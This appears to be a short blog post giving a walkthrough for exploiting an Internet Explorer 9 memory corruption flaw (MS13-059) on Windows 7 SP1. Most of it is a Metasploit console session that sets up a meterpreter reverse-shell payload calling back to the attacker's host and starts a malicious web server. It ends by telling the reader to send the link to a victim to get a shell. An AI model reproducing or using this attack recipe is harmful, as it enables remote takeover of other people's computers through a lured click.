<div dir="ltr" style="text-align: left;" trbidi="on">This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9, it seems to only affect certain releases of mshtml.dll. For example: This module can be used against version  9.0.8112.16446<br /><br />Target<br />IE 9 on Windows 7 SP1 (mshtml 9.0.8112.16446)<br /><br />msf > use exploit/windows/browser/ms13_059_cflatmarkuppointer<br /><br />msf exploit(ms13_059_cflatmarkuppointer) > set srvhost 192.168.56.1<br />srvhost => 192.168.56.1<br />msf exploit(ms13_059_cflatmarkuppointer) > set uripath /<br />uripath => /<br />msf exploit(ms13_059_cflatmarkuppointer) > set lhost 192.168.56.1<br />lhost => 192.168.56.1<br />msf exploit(ms13_059_cflatmarkuppointer) > set payload windows/meterpreter/reverse_tcp<br />payload => windows/meterpreter/reverse_tcp<br />msf exploit(ms13_059_cflatmarkuppointer) > run<br />[*] Exploit running as background job.<br /><br />[*] Started reverse handler on 192.168.56.1:4444 <br />msf exploit(ms13_059_cflatmarkuppointer) > [*] Using URL: http://192.168.56.1:8080/<br />[*] Server started.<br /><br />Now send that link to victim; as soon as he open link; you will get meterpreter shell.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5fUwEF4cO9sYubwu4VuWDduUWxbQznQ7e_PsXdSpDn3aDz2pHG5eEnhpFoLOUlUw7lA2Xf9hNqkM9t0YYeHtlSBRS2sFrXohtiq60MtaQByQAkOJd1uxtZ5tbcOs3YVqCyEYWbu0ODcAr/s1600/s.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="ie9-exploit" border="0" height="194" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5fUwEF4cO9sYubwu4VuWDduUWxbQznQ7e_PsXdSpDn3aDz2pHG5eEnhpFoLOUlUw7lA2Xf9hNqkM9t0YYeHtlSBRS2sFrXohtiq60MtaQByQAkOJd1uxtZ5tbcOs3YVqCyEYWbu0ODcAr/s320/s.jpeg" title="ie9-exploit" width="320" /></a></div><br /></div>

Exploit for IE 9 on Windows 7 SP1

This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9, it seems to only affect certain releases of mshtml.dll. For e...

+ Read more »